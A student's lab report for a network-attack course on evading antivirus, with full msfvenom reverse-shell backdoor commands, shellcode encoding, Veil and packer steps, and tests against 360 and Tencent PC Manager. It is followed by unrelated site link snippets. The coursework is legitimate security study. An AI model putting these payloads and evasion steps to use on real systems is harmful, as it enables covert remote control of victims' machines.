2018-2019-2 20165330《网络对抗技术》Exp3 免杀原理与实践
目录
实验内容
- 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,自己利用shellcode编程等免杀工具或技巧
- 通过组合应用各种技术实现恶意代码免杀
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
基础问题
杀软是如何检测出恶意代码的?
- 基于特征码:如果一个可执行文件(或其他运行的库、脚本等)包含有类似恶意代码的一段或多段数据则被杀软认为是恶意代码。
- 启发式恶意软件检测:如果一个软件做一些恶意软件通常干的典型例子,就把它当成一个恶意软件。
- 基于行为的恶意软件检测:在启发式基础上对软件行为进行监控
免杀是做什么?
对恶意软件做一些处理,使它不被杀毒软件所检测出来
免杀的基本方法有哪些?
- 改变特征码
- 只有EXE:加壳
- 有shellcode:利用shellcode生成可执行文件
- 有源代码:用其他语言进行重写再编译
- 改变行为:改变通讯方式或操作模式
- 利用现有playload手工打造一个后门程序
- 改变特征码
相关知识
- VirusTotal、Virscan
- 集成了60多个商业杀毒软件的扫描引擎
- 可以上传免杀处理过的程序进行检测
- https://www.virustotal.com/、 http://www.virscan.org/
msfvenom直接生成meterpreter可执行文件,检出率为46/57;Msfvenom是Metasploit平台下用来编码payloads免杀的工具- Veil-Evasion
- 一个免杀平台,是用其他语言如
c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同方式编译成exe - virustoal检出为19/57
- 一个免杀平台,是用其他语言如
- 半手工打造恶意软件:C语言调用
Shellcode - 加壳
- 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行
- 加壳的一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码
- MSF的编码器使用类似方法,对shellcode进行再编码
- 技术上分壳分为:压缩壳、加密壳、虚拟机
实验步骤
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,自己利用shellcode编程等免杀工具或技巧
(一)正确使用msf编码器
- 我们可以使用
msfvenom -l encoders查看可以使用的编码器来生成不同的后门,更多的参数可以参考msfvenom一些用法- 将实验二中用msf命令生成的后门程序放到virscan网站中扫描结果如下
可以知道后门程序如果不加处理,绝大多数杀软很快就可以识别出来。- 我们使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.183.130 LPORT=5330 -f exe > met-encoded.exe进行10次编码试试降低检出率
- 再在virscan网站中扫描
- 对比发现并没有实质变化,因为msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。而AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。
(二)msfvenom生成如jar之类的其他文件
- 生成jar文件:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.183.130 lport=5330 x> 20165330_backdoor_java.jar
![]()
- 扫描一下,检出率降低好多!
- 生成php文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.183.130 lport=5330 x> 20165330_backdoor.php
![]()
- 扫描一下,这个效果更好
- 生成apk文件:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.183.130 LPORT=5330 R > 20165330_backdoor.apk
![]()
- 扫描一下,效果没有之前的好
- 其他类型的文件可以参考msfvenom生成各类Payload命令
(三)veil-evasion
- 安装步骤参考安装免杀工具Veil-Evasion,过程很慢(耐心ing)(在最后一步输入命令回车后不要动,最后选择默认选项一直等待安装完成)(因为我的安装完后无法生成输出文件,估计因为镜像版本的原因我用的18.1版本的,就拷贝了同学的虚拟机19.1版本的veil生成成功)
- 结束后
ls找到Veil-Evasion.py,然后./Veil-Evasion.py进入veil
- veil中输入
use找到c/meterpreter/rev_tcp,输入6用c语言重写meterperter(如下图)
- 设置反弹连接IP:
set LHOST 192.168.183.130(此处IP为Kali IP)- 设置端口:
set LPORT 5330(也可以使用默认端口4444)
- 输入
generate生成文件,然后输入playload的名字:20165330-playload,信息如下
- 然后我们进到目录
/usr/share/veil-output/compiled里可以找到我们生成的文件
- 将其放在virscan网站中扫描,检出率有所降低
(四)利用shellcode编程
- 使用msf生成一段c语言格式的shellcode数组:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.130 LPORT=5330 -f c
- 将生成的shellcode写入到下面的C代码中进行调用,命名
5330-shellcode.c
- 交叉编译(过程见问题二)使该文件可以在windows下运行:
i686-w64-mingw32-g++ 5330-shellcode.c -o 5330-shellcode.exe- 测试shellcode可用性(关闭杀软)
- 一开始我将生成的exe文件传到windows里用命令行运行,没有发生回连
- 之后我改用windows下的vc重新编译运行,回连成功
- 将生成的
5330-shellcode.exe上传至virscan网站中扫描仍会被扫描出来,开启杀软会被杀掉
(五)加壳工具
- 压缩壳:
- 尝试对上面的shellcode加壳:
upx 5330-shellcode.exe -o 5330-shellcode.upxed.exe
- 测试可用性
- 上传至virscan网站中扫描,概率大大降低,但依然被360查杀
- 加密壳:
- 将生成upx文件拷贝到
/usr/share/windows-binaries/hyperion/目录中- 进入目录
/usr/share/windows-binaries/hyperion/中- 输入
wine hyperion.exe -v 5330-shellcode_upxed.exe 5330-shellcode_upxed_Hyperion.exe进行加壳
- 测试可用性
- 上传至virscan网站中扫描
通过组合应用各种技术实现恶意代码免杀
- 采用
C语言调用shellcode+压缩壳方式免杀成功并可以回连- 被控主机:win10
- 扫描软件:360安全卫士11.5.0.2001
- 将shellcode在vc下编译,在进行加壳
- 成功回连

- 免杀成功

- 此种有缺陷,360可以基于行为监测在运行时程序就会被发现T.T
- 成功回连
- 采用
C语言调用bloxor编码的shellcode方式免杀成功并可以回连- 被控主机:win10
- 扫描软件:360安全卫士11.5.0.2001
- 生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=192.168.183.130 LPORT=5330 -f c - 将加入shellcode的c程序在vc下编译
- 成功回连

- 免杀成功

- 只是换了一种编码方式,多次扫描都没有被发现!!
- 成功回连
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
杀软名称:腾讯电脑管家13.3.20237.212
电脑版本:win7 x64系统
- 用舍友电脑互ping时发现ping不通,才知道IP地址需要在同一网段
- 我将我的kali虚拟机和舍友电脑上的win7虚拟机的
网络适配器均改为桥接模式,使IP地址网段相同,ping通。 - 将我上面第二种方法所生成的程序拷贝到舍友电脑上,开始控制。
- 免杀成功

- 回连成功

- 免杀成功
实验过程中遇到的问题
在进行upx加壳时报错“upx: 5330-shellcode.exe: NotCompressibleException”

解决办法:百度后参考解决UPX NotCompressibleException静态编译后成功加壳
在测试shellcode可用性时,在windows下运行
5330-shellcode.exe提示该版本的 E:\ncat\5330-shellcode.exe 与你运行的 Windows 版本不兼容解决办法:
- 在仔细检查前面的过程后,发现我一开始直接用了gcc来编译,这样产生的linux的可执行文件,在windows下是不能运行的。。此时需要用交叉编译来实现。
- 参考linux与windows交叉编译,
sudo apt-get install mingw-w64下载编译软件,在编译程序i686-w64-mingw32-g++ 5330-shellcode.c -o 5330-shellcode.exe
在kali 18.1版中安装veil成功,但运行无法输出文件
解决办法:我一开始是拷贝了kali 19.1版的kali运行成功,后参考孙晓暄同学的博客在18.1中成功
在veil进行python语言重写时,生成文件失败,但用其他语言可以成功。。

- 我按照老师的方法,
cd setup中找到setup.sh后,运行./setup.sh更新,结果报错安装依赖关系失败。。看好多同学也是无法输出,暂时还不知怎么解决。。
- 我按照老师的方法,
离实战还缺些什么技术或步骤?
- 现在我们所做的步骤都是传送到被控主机上,很明显的被发现,然后开始运行,虽然会躲过一些杀软,但是我们不能十足的保证不会被杀,在实战也还存在如何巧妙地伪装,如何安插在正常软件中躲过扫描,以及如何吸引让被控主机自主运行等技术。
实验总结与体会
- 本次实验的出错率真的有点多,过程做的十分艰难,从一开始的装veil就感觉我的虚拟机就像和我作对。。后来换了虚拟机后,按照老师的步骤,虽然还是在出错,但是解决后成功的那一瞬间真的感觉超级棒,从这次实验我也体会到我们在一步步深入到免杀原理中,亲手打造的程序虽然并不是很强大,但是对刚开始学习的我们真的有十足的兴趣去研究,另一方面还是告诉我们一定要增强防范意识,保护好自己的信息。
2018-2019-2 20165330《网络对抗技术》Exp3 免杀原理与实践的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
- 20155302《网络对抗》Exp3 免杀原理与实践
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
- 20155323刘威良《网络对抗》Exp3 免杀原理与实践
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
- 20155333 《网络对抗》Exp3 免杀原理与实践
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
- 20155218《网络对抗》Exp3 免杀原理与实践
20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...
- 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
- 20155338《网络对抗》Exp3 免杀原理与实践
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
随机推荐
- iphone弹出窗口效果的制作(Core animation, CALayer)
效果类似人人网微薄客户端的弹出效果 static CGFloat kTransitionDuration = 0.3; - (void)initView { UIWindow *window = [U ...
- CentOS-6.4 安装 PHP Memcached 扩展
1.获取安装文件包 [root@phpdragon home]# wget https://launchpad.net/libmemcached/1.0/1.0.18/+download/libmem ...
- JAVA自定义注解 和 运行时靠 反射获取注解,解决 shiro 注解型权限因子获取问题
项目的权限分配,采用的是RBAC的设计模式.后台配置权限的时候,需要获取到所有的权限因子. 不经让我想起YII框架的SRBAC模块,还有以前的一个ecshop改造系统的权限配置方式,都采用的是PHP的 ...
- DDMS调试信息
1.可以使用System.out.println() 2.android.util包下的Log类 该类可以将信息以日志的形式输出到LogCat中: import android.util.Log; S ...
- 第十七篇:IO复用之select实现
前言 在看过前文:初探IO复用后,想必你已对IO复用这个概念有了初步但清晰的认识. 接下来,我要在一个具体的并发客户端中实现它(基于select函数),使得一旦服务器中的客户进程被终止的时候,客户端这 ...
- C++ template —— 模板基础(一)
<C++ Template>对Template各个方面进行了较为深度详细的解析,故而本系列博客按书本的各章顺序编排,并只作为简单的读书笔记,详细讲解请购买原版书籍(绝对物超所值).---- ...
- iOS - 系统权限(关键时刻很有用的)
iOS开发中权限问题: APP开发避免不开系统权限的问题,如何在APP以更加友好的方式向用户展示系统权限,似乎也是开发过程中值得深思的一件事: 那如何提高APP获取iOS系统权限的通过率呢?有以下几种 ...
- 批处理--批量打开程序&批量关闭程序
批量打开程序 start D:\work\RunSvr01\IceFire88.01.exe start D:\work\RunSvr02\IceFire88.02.exe start D:\work ...
- 0R的电阻以及NC的意义
0欧电阻的作用: 0欧的电阻大概有以下几个功能:①做为跳线使用.这样既美观,安装也方便.②在数字和模拟等混合电路中,往往要求两个地分开,并且单点连接.我们可以用一个0欧的电阻来连接这两个地,而不是直接 ...
- LeetCode 14 Longest Common Prefix(最长公共前缀)
题目链接:https://leetcode.com/problems/longest-common-prefix/?tab=Description Problem: 找出给定的string数组中最 ...






















